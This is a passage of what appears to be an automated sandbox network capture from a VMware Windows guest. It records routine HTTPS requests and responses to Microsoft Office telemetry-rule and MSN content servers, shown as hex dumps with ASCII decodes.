2024-11-28 01:27:15 UTC	7583	IN	Data Raw: 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 37 38 30 35 38 39 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 30 38 30 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 30 75 69 67 58 30 56 38 31 6d 7a 33 5c 2f 49 71 71 54 54 53 6f 41 46 59 71 56 41 51 4b 59 47 46 6c 4c 33 63 6b 61 56 52 33 42 43 38 3d 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 39 32 30 2c 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 Data Ascii: eOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"},\"onRender\":{\"type\":\"action\"}},\"properties\":{\"landscapeImage\":{\"fileSize\":780589,\"height\":1080,\"sha256\":\"0uigX0V81mz3\/IqqTTSoAFYqVAQKYGFlL3ckaVR3BC8=\",\"width\":1920,\"image\":\"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:15 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012715Z-174f7845968n2hr8hC1EWR9cag0000000x9000000000m2ar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 01:27:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49722	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:15 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012711Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cf2d07e2a2914c4b96c6865a79a591a2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:15 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2968 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: SMcgcqFphkvw+Dc6ecr0sWcuTzRdZe7NkF1NqF+rVRgVJe+7f0KOFzccAZ8lHMvd8SfpQU6lNXk8Plgzpm3Mdj0Q9wIwsOFpFxW2A7Rln/yjQjn1FBWxmlVruOPH0V2RTwIB+RodSpYG5H6Spx+INWSoVzYyrWC92JCbNEM9nY1l4AaFbomVAzb8qTyIkJNhIXi6mvWtzw9YrDPut13blVods/zKDIh/oBS7Z1kGQgt2pI15MSLWWZQh0LIr48XNr+5jsA0FUmleGr7TKcoJ0fdh+EB3qV1DjuBtLyNGgcH9fCuUMzF+DdoR0Pu/F+/uOCIpkmcUp5kfDx1t54rk/g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:14 GMT Connection: close
2024-11-28 01:27:15 UTC	2968	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012717Z-174f78459684bddphC1EWRbht40000000xg0000000007t0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012717Z-174f7845968xlwnmhC1EWR0sv80000000xeg00000000kz53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49725	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
